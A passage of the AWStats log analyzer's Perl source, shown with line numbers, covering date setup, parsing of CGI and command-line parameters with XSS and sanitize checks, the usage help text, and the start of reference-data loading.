                if ( $ShowEMailReceivers =~ /L/i ) { print "<td>&nbsp;</td>"; }
9411
 
                print "</tr>\n";
9412
 
        }
9413
 
        &tab_end();
9414
 
}
9415
 
 
9416
 
#------------------------------------------------------------------------------
9417
 
# MAIN
9418
 
#------------------------------------------------------------------------------
9419
 
( $DIR  = $0 ) =~ s/([^\/\\]+)$//;
9420
 
( $PROG = $1 ) =~ s/\.([^\.]*)$//;
9421
 
$Extension = $1;
9422
 
$DIR ||= '.';
9423
 
$DIR =~ s/([^\/\\])[\\\/]+$/$1/;
9424
 
 
9425
 
$starttime = time();
9426
 
 
9427
 
# Get current time (time when AWStats was started)
9428
 
( $nowsec, $nowmin, $nowhour, $nowday, $nowmonth, $nowyear, $nowwday, $nowyday )
9429
 
  = localtime($starttime);
9430
 
$nowweekofmonth = int( $nowday / 7 );
9431
 
$nowweekofyear  =
9432
 
  int( ( $nowyday - 1 + 6 - ( $nowwday == 0 ? 6 : $nowwday - 1 ) ) / 7 ) + 1;
9433
 
if ( $nowweekofyear > 52 ) { $nowweekofyear = 1; }
9434
 
$nowdaymod = $nowday % 7;
9435
 
$nowwday++;
9436
 
$nowns = Time::Local::timegm( 0, 0, 0, $nowday, $nowmonth, $nowyear );
9437
 
 
9438
 
if ( $nowdaymod <= $nowwday ) {
9439
 
        if ( ( $nowwday != 7 ) || ( $nowdaymod != 0 ) ) {
9440
 
                $nowweekofmonth = $nowweekofmonth + 1;
9441
 
        }
9442
 
}
9443
 
if ( $nowdaymod > $nowwday ) { $nowweekofmonth = $nowweekofmonth + 2; }
9444
 
 
9445
 
# Change format of time variables
9446
 
$nowweekofmonth = "0$nowweekofmonth";
9447
 
if ( $nowweekofyear < 10 ) { $nowweekofyear = "0$nowweekofyear"; }
9448
 
if ( $nowyear < 100 ) { $nowyear += 2000; }
9449
 
else { $nowyear += 1900; }
9450
 
$nowsmallyear = $nowyear;
9451
 
$nowsmallyear =~ s/^..//;
9452
 
if ( ++$nowmonth < 10 ) { $nowmonth = "0$nowmonth"; }
9453
 
if ( $nowday < 10 )     { $nowday   = "0$nowday"; }
9454
 
if ( $nowhour < 10 )    { $nowhour  = "0$nowhour"; }
9455
 
if ( $nowmin < 10 )     { $nowmin   = "0$nowmin"; }
9456
 
if ( $nowsec < 10 )     { $nowsec   = "0$nowsec"; }
9457
 
$nowtime = int( $nowyear . $nowmonth . $nowday . $nowhour . $nowmin . $nowsec );
9458
 
 
9459
 
# Get tomorrow time (will be used to discard some record with corrupted date (future date))
9460
 
my (
9461
 
        $tomorrowsec, $tomorrowmin,   $tomorrowhour,
9462
 
        $tomorrowday, $tomorrowmonth, $tomorrowyear
9463
 
  )
9464
 
  = localtime( $starttime + 86400 );
9465
 
if ( $tomorrowyear < 100 ) { $tomorrowyear += 2000; }
9466
 
else { $tomorrowyear += 1900; }
9467
 
if ( ++$tomorrowmonth < 10 ) { $tomorrowmonth = "0$tomorrowmonth"; }
9468
 
if ( $tomorrowday < 10 )     { $tomorrowday   = "0$tomorrowday"; }
9469
 
if ( $tomorrowhour < 10 )    { $tomorrowhour  = "0$tomorrowhour"; }
9470
 
if ( $tomorrowmin < 10 )     { $tomorrowmin   = "0$tomorrowmin"; }
9471
 
if ( $tomorrowsec < 10 )     { $tomorrowsec   = "0$tomorrowsec"; }
9472
 
$tomorrowtime =
9473
 
  int(  $tomorrowyear
9474
 
          . $tomorrowmonth
9475
 
          . $tomorrowday
9476
 
          . $tomorrowhour
9477
 
          . $tomorrowmin
9478
 
          . $tomorrowsec );
9479
 
 
9480
 
# Allowed option
9481
 
my @AllowedCLIArgs = (
9482
 
        'migrate',            'config',
9483
 
        'logfile',            'output',
9484
 
        'runascli',           'update',
9485
 
        'staticlinks',        'staticlinksext',
9486
 
        'noloadplugin',       'loadplugin',
9487
 
        'hostfilter',         'urlfilter',
9488
 
        'refererpagesfilter', 'lang',
9489
 
        'month',              'year',
9490
 
        'framename',          'debug',
9491
 
        'showsteps',          'showdropped',
9492
 
        'showcorrupted',      'showunknownorigin',
9493
 
        'showdirectorigin',   'limitflush',
9494
 
        'confdir',            'updatefor',
9495
 
        'hostfilter',         'hostfilterex',
9496
 
        'urlfilter',          'urlfilterex',
9497
 
        'refererpagesfilter', 'refererpagesfilterex',
9498
 
        'pluginmode',         'filterrawlog'
9499
 
);
9500
 
 
9501
 
# Parse input parameters and sanitize them for security reasons
9502
 
$QueryString = '';
9503
 
 
9504
 
# AWStats use GATEWAY_INTERFACE to known if ran as CLI or CGI. AWSTATS_DEL_GATEWAY_INTERFACE can
9505
 
# be set to force AWStats to be ran as CLI even from a web page.
9506
 
if ( $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'} ) { $ENV{'GATEWAY_INTERFACE'} = ''; }
9507
 
if ( $ENV{'GATEWAY_INTERFACE'} ) {    # Run from a browser as CGI
9508
 
        $DebugMessages = 0;
9509
 
 
9510
 
        # Prepare QueryString
9511
 
        if ( $ENV{'CONTENT_LENGTH'} ) {
9512
 
                binmode STDIN;
9513
 
                read( STDIN, $QueryString, $ENV{'CONTENT_LENGTH'} );
9514
 
        }
9515
 
        if ( $ENV{'QUERY_STRING'} ) {
9516
 
                $QueryString = $ENV{'QUERY_STRING'};
9517
 
 
9518
 
                # Set & and &amp; to &amp;
9519
 
                $QueryString =~ s/&amp;/&/g;
9520
 
                $QueryString =~ s/&/&amp;/g;
9521
 
        }
9522
 
 
9523
 
        # Remove all XSS vulnerabilities coming from AWStats parameters
9524
 
        $QueryString = CleanXSS( &DecodeEncodedString($QueryString) );
9525
 
 
9526
 
        # Security test
9527
 
        if ( $QueryString =~ /LogFile=([^&]+)/i ) {
9528
 
                error(
9529
 
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
9530
 
                );
9531
 
        }
9532
 
 
9533
 
        # No update but report by default when run from a browser
9534
 
        $UpdateStats = ( $QueryString =~ /update=1/i ? 1 : 0 );
9535
 
 
9536
 
        if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
9537
 
        if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
9538
 
        if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
9539
 
                $PluginMode = &Sanitize( "$1", 1 );
9540
 
        }
9541
 
        if ( $QueryString =~ /configdir=([^&]+)/i ) {
9542
 
                $DirConfig = &Sanitize("$1");
9543
 
        }
9544
 
 
9545
 
        # All filters
9546
 
        if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
9547
 
                $FilterIn{'host'} = "$1";
9548
 
        }    # Filter on host list can also be defined with hostfilter=filter
9549
 
        if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
9550
 
                $FilterEx{'host'} = "$1";
9551
 
        }    #
9552
 
        if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
9553
 
                $FilterIn{'url'} = "$1";
9554
 
        }    # Filter on URL list can also be defined with urlfilter=filter
9555
 
        if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
9556
 
        if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
9557
 
                $FilterIn{'refererpages'} = "$1";
9558
 
        } # Filter on referer list can also be defined with refererpagesfilter=filter
9559
 
        if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
9560
 
                $FilterEx{'refererpages'} = "$1";
9561
 
        }    #
9562
 
             # All output
9563
 
        if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
9564
 
                $FilterIn{'host'} = "$1";
9565
 
        } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
9566
 
        if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
9567
 
                $FilterIn{'host'} = "$1";
9568
 
        } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
9569
 
        if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
9570
 
                $FilterIn{'url'} = "$1";
9571
 
        } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
9572
 
        if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
9573
 
                $FilterIn{'refererpages'} = "$1";
9574
 
        } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
9575
 
 
9576
 
        # If migrate
9577
 
        if ( $QueryString =~ /(^|-|&|&amp;)migrate=([^&]+)/i ) {
9578
 
                $MigrateStats = &Sanitize("$2");
9579
 
                $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
9580
 
                $SiteConfig = $5 ? $5 : 'xxx';
9581
 
                $SiteConfig =~ s/^\.//;    # SiteConfig is used to find config file
9582
 
        }
9583
 
}
9584
 
else {                             # Run from command line
9585
 
        $DebugMessages = 1;
9586
 
 
9587
 
        # Prepare QueryString
9588
 
        for ( 0 .. @ARGV - 1 ) {
9589
 
 
9590
 
                # If migrate
9591
 
                if ( $ARGV[$_] =~ /(^|-|&|&amp;)migrate=([^&]+)/i ) {
9592
 
                        $MigrateStats = "$2";
9593
 
                        $MigrateStats =~ /^(.*)$PROG(\d{0,2})(\d\d)(\d\d\d\d)(.*)\.txt$/;
9594
 
                        $SiteConfig = $5 ? $5 : 'xxx';
9595
 
                        $SiteConfig =~ s/^\.//;    # SiteConfig is used to find config file
9596
 
                        next;
9597
 
                }
9598
 
 
9599
 
                # TODO Check if ARGV is in @AllowedArg
9600
 
                if ($QueryString) { $QueryString .= '&amp;'; }
9601
 
                my $NewLinkParams = $ARGV[$_];
9602
 
                $NewLinkParams =~ s/^-+//;
9603
 
                $QueryString .= "$NewLinkParams";
9604
 
        }
9605
 
 
9606
 
        # Remove all XSS vulnerabilities coming from AWStats parameters
9607
 
        $QueryString = CleanXSS($QueryString);
9608
 
 
9609
 
        # Security test
9610
 
        if (   $ENV{'AWSTATS_DEL_GATEWAY_INTERFACE'}
9611
 
                && $QueryString =~ /LogFile=([^&]+)/i )
9612
 
        {
9613
 
                error(
9614
 
"Logfile parameter can't be overwritten when AWStats is used from a CGI"
9615
 
                );
9616
 
        }
9617
 
 
9618
 
        # Update with no report by default when run from command line
9619
 
        $UpdateStats = 1;
9620
 
 
9621
 
        if ( $QueryString =~ /config=([^&]+)/i ) { $SiteConfig = &Sanitize("$1"); }
9622
 
        if ( $QueryString =~ /diricons=([^&]+)/i ) { $DirIcons = "$1"; }
9623
 
        if ( $QueryString =~ /pluginmode=([^&]+)/i ) {
9624
 
                $PluginMode = &Sanitize( "$1", 1 );
9625
 
        }
9626
 
        if ( $QueryString =~ /configdir=([^&]+)/i ) {
9627
 
                $DirConfig = &Sanitize("$1");
9628
 
        }
9629
 
 
9630
 
        # All filters
9631
 
        if ( $QueryString =~ /hostfilter=([^&]+)/i ) {
9632
 
                $FilterIn{'host'} = "$1";
9633
 
        }    # Filter on host list can also be defined with hostfilter=filter
9634
 
        if ( $QueryString =~ /hostfilterex=([^&]+)/i ) {
9635
 
                $FilterEx{'host'} = "$1";
9636
 
        }    #
9637
 
        if ( $QueryString =~ /urlfilter=([^&]+)/i ) {
9638
 
                $FilterIn{'url'} = "$1";
9639
 
        }    # Filter on URL list can also be defined with urlfilter=filter
9640
 
        if ( $QueryString =~ /urlfilterex=([^&]+)/i ) { $FilterEx{'url'} = "$1"; } #
9641
 
        if ( $QueryString =~ /refererpagesfilter=([^&]+)/i ) {
9642
 
                $FilterIn{'refererpages'} = "$1";
9643
 
        } # Filter on referer list can also be defined with refererpagesfilter=filter
9644
 
        if ( $QueryString =~ /refererpagesfilterex=([^&]+)/i ) {
9645
 
                $FilterEx{'refererpages'} = "$1";
9646
 
        }    #
9647
 
             # All output
9648
 
        if ( $QueryString =~ /output=allhosts:([^&]+)/i ) {
9649
 
                $FilterIn{'host'} = "$1";
9650
 
        } # Filter on host list can be defined with output=allhosts:filter to reduce number of lines read and showed
9651
 
        if ( $QueryString =~ /output=lasthosts:([^&]+)/i ) {
9652
 
                $FilterIn{'host'} = "$1";
9653
 
        } # Filter on host list can be defined with output=lasthosts:filter to reduce number of lines read and showed
9654
 
        if ( $QueryString =~ /output=urldetail:([^&]+)/i ) {
9655
 
                $FilterIn{'url'} = "$1";
9656
 
        } # Filter on URL list can be defined with output=urldetail:filter to reduce number of lines read and showed
9657
 
        if ( $QueryString =~ /output=refererpages:([^&]+)/i ) {
9658
 
                $FilterIn{'refererpages'} = "$1";
9659
 
        } # Filter on referer list can be defined with output=refererpages:filter to reduce number of lines read and showed
9660
 
          # Config parameters
9661
 
        if ( $QueryString =~ /LogFile=([^&]+)/i ) { $LogFile = "$1"; }
9662
 
 
9663
 
        # If show options
9664
 
        if ( $QueryString =~ /showsteps/i ) {
9665
 
                $ShowSteps = 1;
9666
 
                $QueryString =~ s/showsteps[^&]*//i;
9667
 
        }
9668
 
        if ( $QueryString =~ /showcorrupted/i ) {
9669
 
                $ShowCorrupted = 1;
9670
 
                $QueryString =~ s/showcorrupted[^&]*//i;
9671
 
        }
9672
 
        if ( $QueryString =~ /showdropped/i ) {
9673
 
                $ShowDropped = 1;
9674
 
                $QueryString =~ s/showdropped[^&]*//i;
9675
 
        }
9676
 
        if ( $QueryString =~ /showunknownorigin/i ) {
9677
 
                $ShowUnknownOrigin = 1;
9678
 
                $QueryString =~ s/showunknownorigin[^&]*//i;
9679
 
        }
9680
 
        if ( $QueryString =~ /showdirectorigin/i ) {
9681
 
                $ShowDirectOrigin = 1;
9682
 
                $QueryString =~ s/showdirectorigin[^&]*//i;
9683
 
        }
9684
 
}
9685
 
if ( $QueryString =~ /(^|&|&amp;)staticlinks/i ) {
9686
 
        $StaticLinks = ".$SiteConfig";
9687
 
}
9688
 
if ( $QueryString =~ /(^|&|&amp;)staticlinks=([^&]+)/i ) {
9689
 
        $StaticLinks = ".$2";
9690
 
}    # When ran from awstatsbuildstaticpages.pl
9691
 
if ( $QueryString =~ /(^|&|&amp;)staticlinksext=([^&]+)/i ) {
9692
 
        $StaticExt = "$2";
9693
 
}
9694
 
if ( $QueryString =~ /(^|&|&amp;)framename=([^&]+)/i ) { $FrameName = "$2"; }
9695
 
if ( $QueryString =~ /(^|&|&amp;)debug=(\d+)/i )       { $Debug     = $2; }
9696
 
if ( $QueryString =~ /(^|&|&amp;)databasebreak=(\w+)/i ) {
9697
 
        $DatabaseBreak = $2;
9698
 
}
9699
 
if ( $QueryString =~ /(^|&|&amp;)updatefor=(\d+)/i ) { $UpdateFor = $2; }
9700
 
 
9701
 
if ( $QueryString =~ /(^|&|&amp;)noloadplugin=([^&]+)/i ) {
9702
 
        foreach ( split( /,/, $2 ) ) { $NoLoadPlugin{ &Sanitize( "$_", 1 ) } = 1; }
9703
 
}
9704
 
if ( $QueryString =~ /(^|&|&amp;)limitflush=(\d+)/i ) { $LIMITFLUSH = $2; }
9705
 
 
9706
 
# Get/Define output
9707
 
if ( $QueryString =~
9708
 
        /(^|&|&amp;)output(=[^&]*|)(.*)(&|&amp;)output(=[^&]*|)(&|$)/i )
9709
 
{
9710
 
        error( "Only 1 output option is allowed", "", "", 1 );
9711
 
}
9712
 
if ( $QueryString =~ /(^|&|&amp;)output(=[^&]*|)(&|$)/i ) {
9713
 
 
9714
 
        # At least one output expected. We define %HTMLOutput
9715
 
        my $outputlist = "$2";
9716
 
        if ($outputlist) {
9717
 
                $outputlist =~ s/^=//;
9718
 
                foreach my $outputparam ( split( /,/, $outputlist ) ) {
9719
 
                        $outputparam =~ s/:(.*)$//;
9720
 
                        if ($outputparam) { $HTMLOutput{ lc($outputparam) } = "$1" || 1; }
9721
 
                }
9722
 
        }
9723
 
 
9724
 
        # If on command line and no update
9725
 
        if ( !$ENV{'GATEWAY_INTERFACE'} && $QueryString !~ /update/i ) {
9726
 
                $UpdateStats = 0;
9727
 
        }
9728
 
 
9729
 
        # If no output defined, used default value
9730
 
        if ( !scalar keys %HTMLOutput ) { $HTMLOutput{'main'} = 1; }
9731
 
}
9732
 
if ( $ENV{'GATEWAY_INTERFACE'} && !scalar keys %HTMLOutput ) {
9733
 
        $HTMLOutput{'main'} = 1;
9734
 
}
9735
 
 
9736
 
# Remove -output option with no = from QueryString
9737
 
$QueryString =~ s/(^|&|&amp;)output(&|$)/$1$2/i;
9738
 
$QueryString =~ s/&+$//;
9739
 
 
9740
 
# Check year, month, day, hour parameters
9741
 
if ( $QueryString =~ /(^|&|&amp;)month=(year)/i ) {
9742
 
        error("month=year is a deprecated option. Use month=all instead.");
9743
 
}
9744
 
if ( $QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i ) {
9745
 
        $YearRequired = sprintf( "%04d", $2 );
9746
 
}
9747
 
else { $YearRequired = "$nowyear"; }
9748
 
if ( $QueryString =~ /(^|&|&amp;)month=(\d{1,2})/i ) {
9749
 
        $MonthRequired = sprintf( "%02d", $2 );
9750
 
}
9751
 
elsif ( $QueryString =~ /(^|&|&amp;)month=(all)/i ) { $MonthRequired = 'all'; }
9752
 
else { $MonthRequired = "$nowmonth"; }
9753
 
if ( $QueryString =~ /(^|&|&amp;)day=(\d{1,2})/i ) {
9754
 
        $DayRequired = sprintf( "%02d", $2 );
9755
 
} # day is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
9756
 
else { $DayRequired = ''; }
9757
 
if ( $QueryString =~ /(^|&|&amp;)hour=(\d{1,2})/i ) {
9758
 
        $HourRequired = sprintf( "%02d", $2 );
9759
 
} # hour is a hidden option. Must not be used (Make results not understandable). Available for users that rename history files with day.
9760
 
else { $HourRequired = ''; }
9761
 
 
9762
 
# Check parameter validity
9763
 
# TODO
9764
 
 
9765
 
# Print AWStats and Perl version
9766
 
if ($Debug) {
9767
 
        debug( ucfirst($PROG) . " - $VERSION - Perl $^X $]", 1 );
9768
 
        debug( "DIR=$DIR PROG=$PROG Extension=$Extension",   2 );
9769
 
        debug( "QUERY_STRING=$QueryString",                  2 );
9770
 
        debug( "HTMLOutput=" . join( ',', keys %HTMLOutput ), 1 );
9771
 
        debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
9772
 
        debug( "DayRequired=$DayRequired, HourRequired=$HourRequired",     2 );
9773
 
        debug( "UpdateFor=$UpdateFor",                                     2 );
9774
 
        debug( "PluginMode=$PluginMode",                                   2 );
9775
 
        debug( "DirConfig=$DirConfig",                                     2 );
9776
 
}
9777
 
 
9778
 
# Force SiteConfig if AWSTATS_FORCE_CONFIG is defined
9779
 
if ( $ENV{'AWSTATS_CONFIG'} ) {
9780
 
        $ENV{'AWSTATS_FORCE_CONFIG'} = $ENV{'AWSTATS_CONFIG'};
9781
 
}    # For backward compatibility
9782
 
if ( $ENV{'AWSTATS_FORCE_CONFIG'} ) {
9783
 
        if ($Debug) {
9784
 
                debug(  "AWSTATS_FORCE_CONFIG parameter is defined to '"
9785
 
                          . $ENV{'AWSTATS_FORCE_CONFIG'}
9786
 
                          . "'. $PROG will use this as config value." );
9787
 
        }
9788
 
        $SiteConfig = &Sanitize( $ENV{'AWSTATS_FORCE_CONFIG'} );
9789
 
}
9790
 
 
9791
 
if ( ( !$ENV{'GATEWAY_INTERFACE'} ) && ( !$SiteConfig ) ) {
9792
 
        &Read_Ref_Data(
9793
 
                'browsers',       'domains', 'operating_systems', 'robots',
9794
 
                'search_engines', 'worms'
9795
 
        );
9796
 
        print "----- $PROG $VERSION (c) 2000-2009 Laurent Destailleur -----\n";
9797
 
        print
9798
 
"AWStats is a free web server logfile analyzer to show you advanced web\n";
9799
 
        print "statistics.\n";
9800
 
        print
9801
 
"AWStats comes with ABSOLUTELY NO WARRANTY. It's a free software distributed\n";
9802
 
        print "with a GNU General Public License (See LICENSE file for details).\n";
9803
 
        print "\n";
9804
 
        print "Syntax: $PROG.$Extension -config=virtualhostname [options]\n";
9805
 
        print "\n";
9806
 
        print
9807
 
"  This runs $PROG in command line to update statistics (-update option) of a\n";
9808
 
        print
9809
 
"   web site, from the log file defined in AWStats config file, or build a HTML\n";
9810
 
        print "   report (-output option).\n";
9811
 
        print
9812
 
"  First, $PROG tries to read $PROG.virtualhostname.conf as the config file.\n";
9813
 
        print "  If not found, $PROG tries to read $PROG.conf\n";
9814
 
        print
9815
 
"  Note 1: Config files ($PROG.virtualhostname.conf or $PROG.conf) must be\n";
9816
 
        print
9817
 
"   in /etc/awstats, /usr/local/etc/awstats, /etc or same directory than\n";
9818
 
        print "   awstats.pl script file.\n";
9819
 
        print
9820
 
"  Note 2: If AWSTATS_FORCE_CONFIG environment variable is defined, AWStats will\n";
9821
 
        print
9822
 
"   use it as the \"config\" value, whatever is the value on command line or URL.\n";
9823
 
        print "   See AWStats documentation for all setup instrutions.\n";
9824
 
        print "\n";
9825
 
        print "Options to update statistics:\n";
9826
 
        print "  -update        to update statistics (default)\n";
9827
 
        print
9828
 
"  -showsteps     to add benchmark information every $NBOFLINESFORBENCHMARK lines processed\n";
9829
 
        print
9830
 
"  -showcorrupted to add output for each corrupted lines found, with reason\n";
9831
 
        print
9832
 
"  -showdropped   to add output for each dropped lines found, with reason\n";
9833
 
        print "  -showunknownorigin  to output referer when it can't be parsed\n";
9834
 
        print
9835
 
"  -showdirectorigin   to output log line when origin is a direct access\n";
9836
 
        print "  -updatefor=n   to stop the update process after parsing n lines\n";
9837
 
        print
9838
 
"  -LogFile=x     to change log to analyze whatever is 'LogFile' in config file\n";
9839
 
        print
9840
 
"  Be care to process log files in chronological order when updating statistics.\n";
9841
 
        print "\n";
9842
 
        print "Options to show statistics:\n";
9843
 
        print
9844
 
"  -output      to output main HTML report (no update made except with -update)\n";
9845
 
        print "  -output=x    to output other report pages where x is:\n";
9846
 
        print
9847
 
"               alldomains       to build page of all domains/countries\n";
9848
 
        print "               allhosts         to build page of all hosts\n";
9849
 
        print
9850
 
          "               lasthosts        to build page of last hits for hosts\n";
9851
 
        print
9852
 
          "               unknownip        to build page of all unresolved IP\n";
9853
 
        print
9854
 
"               allemails        to build page of all email senders (maillog)\n";
9855
 
        print
9856
 
"               lastemails       to build page of last email senders (maillog)\n";
9857
 
        print
9858
 
"               allemailr        to build page of all email receivers (maillog)\n";
9859
 
        print
9860
 
"               lastemailr       to build page of last email receivers (maillog)\n";
9861
 
        print "               alllogins        to build page of all logins used\n";
9862
 
        print
9863
 
          "               lastlogins       to build page of last hits for logins\n";
9864
 
        print
9865
 
"               allrobots        to build page of all robots/spider visits\n";
9866
 
        print
9867
 
          "               lastrobots       to build page of last hits for robots\n";
9868
 
        print "               urldetail        to list most often viewed pages \n";
9869
 
        print
9870
 
"               urldetail:filter to list most often viewed pages matching filter\n";
9871
 
        print "               urlentry         to list entry pages\n";
9872
 
        print
9873
 
          "               urlentry:filter  to list entry pages matching filter\n";
9874
 
        print "               urlexit          to list exit pages\n";
9875
 
        print
9876
 
          "               urlexit:filter   to list exit pages matching filter\n";
9877
 
        print
9878
 
"               osdetail         to build page with os detailed versions\n";
9879
 
        print
9880
 
"               browserdetail    to build page with browsers detailed versions\n";
9881
 
        print
9882
 
"               unknownbrowser   to list 'User Agents' with unknown browser\n";
9883
 
        print
9884
 
          "               unknownos        to list 'User Agents' with unknown OS\n";
9885
 
        print
9886
 
"               refererse        to build page of all refering search engines\n";
9887
 
        print
9888
 
          "               refererpages     to build page of all refering pages\n";
9889
 
 
9890
 
 #print "               referersites     to build page of all refering sites\n";
9891
 
        print
9892
 
"               keyphrases       to list all keyphrases used on search engines\n";
9893
 
        print
9894
 
"               keywords         to list all keywords used on search engines\n";
9895
 
        print "               errors404        to list 'Referers' for 404 errors\n";
9896
 
        print
9897
 
"               allextraX        to build page of all values for ExtraSection X\n";
9898
 
        print "  -staticlinks to have static links in HTML report page\n";
9899
 
        print
9900
 
"  -staticlinksext=xxx to have static links with .xxx extension instead of .html\n";
9901
 
        print
9902
 
"  -lang=LL     to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n";
9903
 
        print "  -month=MM    to output a HTML report for an old month MM\n";
9904
 
        print "  -year=YYYY   to output a HTML report for an old year YYYY\n";
9905
 
        print
9906
 
"  Those 'date' options doesn't allow you to process old log file. They only\n";
9907
 
        print
9908
 
"  allow you to see a past report for a chosen month/year period instead of\n";
9909
 
        print "  current month/year.\n";
9910
 
        print "\n";
9911
 
        print "Other options:\n";
9912
 
        print
9913
 
"  -debug=X     to add debug informations lesser than level X (speed reduced)\n";
9914
 
        print "\n";
9915
 
        print "Now supports/detects:\n";
9916
 
        print
9917
 
"  Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n";
9918
 
        print "  Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n";
9919
 
        print "  Number of visits, number of unique visitors\n";
9920
 
        print "  Visits duration and list of last visits\n";
9921
 
        print "  Authenticated users\n";
9922
 
        print "  Days of week and rush hours\n";
9923
 
        print "  Hosts list and unresolved IP addresses list\n";
9924
 
        print "  Most viewed, entry and exit pages\n";
9925
 
        print "  Files type and Web compression (mod_gzip, mod_deflate stats)\n";
9926
 
        print "  Screen size\n";
9927
 
        print "  Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n";
9928
 
        print "                        Quicktime reader, WMA reader, PDF reader\n";
9929
 
        print "  Configurable personalized reports\n";
9930
 
        print "  " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n";
9931
 
        print "  " . ( scalar keys %RobotsHashIDLib ) . " robots\n";
9932
 
        print "  " . ( scalar keys %WormsHashLib ) . " worm's families\n";
9933
 
        print "  " . ( scalar keys %OSHashLib ) . " operating systems\n";
9934
 
        print "  " . ( scalar keys %BrowsersHashIDLib ) . " browsers";
9935
 
        &Read_Ref_Data('browsers_phone');
9936
 
        print " ("
9937
 
          . ( scalar keys %BrowsersHashIDLib )
9938
 
          . " with phone browsers database)\n";
9939
 
        print "  "
9940
 
          . ( scalar keys %SearchEnginesHashLib )
9941
 
          . " search engines (and keyphrases/keywords used from them)\n";
9942
 
        print "  All HTTP errors with last referrer\n";
9943
 
        print "  Report by day/month/year\n";
9944
 
        print "  Dynamic or static HTML or XHTML reports, static PDF reports\n";
9945
 
        print "  Indexed text or XML monthly database\n";
9946
 
        print "  And a lot of other advanced features and options...\n";
9947
 
        print "New versions and FAQ at http://awstats.sourceforge.net\n";
9948
 
        exit 2;
9949
 
}
9950
 
$SiteConfig ||= &Sanitize( $ENV{'SERVER_NAME'} );
9951
 
 
9952
 
#$ENV{'SERVER_NAME'}||=$SiteConfig;     # For thoose who use __SERVER_NAME__ in conf file and use CLI.
9953
 
$ENV{'AWSTATS_CURRENT_CONFIG'} = $SiteConfig;
9954
 
 
9955
 
# Read config file (SiteConfig must be defined)
9956
 
&Read_Config($DirConfig);
9957
 
 
9958
 
# Check language
9959
 
if ( $QueryString =~ /(^|&|&amp;)lang=([^&]+)/i ) { $Lang = "$2"; }
9960
 
if ( !$Lang || $Lang eq 'auto' ) {    # If lang not defined or forced to auto
9961
 
        my $langlist = $ENV{'HTTP_ACCEPT_LANGUAGE'} || '';
9962
 
        $langlist =~ s/;[^,]*//g;
9963
 
        if ($Debug) {
9964
 
                debug(
9965
 
                        "Search an available language among HTTP_ACCEPT_LANGUAGE=$langlist",
9966
 
                        1
9967
 
                );
9968
 
        }
9969
 
        foreach my $code ( split( /,/, $langlist ) )
9970
 
        {                                 # Search for a valid lang in priority
9971
 
                if ( $LangBrowserToLangAwstats{$code} ) {
9972
 
                        $Lang = $LangBrowserToLangAwstats{$code};
9973
 
                        if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
9974
 
                        last;
9975
 
                }
9976
 
                $code =~ s/-.*$//;
9977
 
                if ( $LangBrowserToLangAwstats{$code} ) {
9978
 
                        $Lang = $LangBrowserToLangAwstats{$code};
9979
 
                        if ($Debug) { debug( " Will try to use Lang=$Lang", 1 ); }
9980
 
                        last;
9981
 
                }
9982
 
        }
9983
 
}
9984
 
if ( !$Lang || $Lang eq 'auto' ) {
9985
 
        if ($Debug) {
9986
 
                debug( " No language defined or available. Will use Lang=en", 1 );
9987
 
        }
9988
 
        $Lang = 'en';
9989
 
}
9990
 
 
9991
 
# Check and correct bad parameters
9992
 
&Check_Config();
9993
 
 
9994
 
# Now SiteDomain is defined
9995
 
 
9996
 
if ( $Debug && !$DebugMessages ) {
9997
 
        error(
9998
 
"Debug has not been allowed. Change DebugMessages parameter in config file to allow debug."
9999
 
        );
10000
 
}
10001
 
 
10002
 
# Define frame name and correct variable for frames
10003
 
if ( !$FrameName ) {
10004
 
        if (   $ENV{'GATEWAY_INTERFACE'}
10005
 
                && $UseFramesWhenCGI
10006
 
                && $HTMLOutput{'main'}
10007
 
                && !$PluginMode )
10008
 
        {
10009
 
                $FrameName = 'index';
10010
 
        }
10011
 
        else { $FrameName = 'main'; }
10012
 
}
10013
 
 
10014
 
# Load Message files, Reference data files and Plugins
10015
 
if ($Debug) { debug( "FrameName=$FrameName", 1 ); }
10016
 
if ( $FrameName ne 'index' ) {
10017
 
        &Read_Language_Data($Lang);
10018
 
        if ( $FrameName ne 'mainleft' ) {
10019
 
                my %datatoload = ();
10020
 
                my (
10021
 
                        $filedomains, $filemime, $filerobots, $fileworms,
10022
 
                        $filebrowser, $fileos,   $filese
10023
 
                  )
10024
 
                  = (
10025
 
                        'domains',  'mime',
10026
 
                        'robots',   'worms',
10027
 
                        'browsers', 'operating_systems',
10028
 
                        'search_engines'
10029
 
                  );
10030
 
                my ( $filestatushttp, $filestatussmtp ) =
10031
 
                  ( 'status_http', 'status_smtp' );
10032
 
                if ( $LevelForBrowsersDetection eq 'allphones' ) {
10033
 
                        $filebrowser = 'browsers_phone';
10034
 
                }
10035
 
                if ($UpdateStats) {    # If update
10036
 
                        if ( $LevelForFileTypesDetection < 2 ) {
10037
 
                                $datatoload{$filemime} = 1;
10038
 
                        }                  # Only if need to filter on known extensions
10039
 
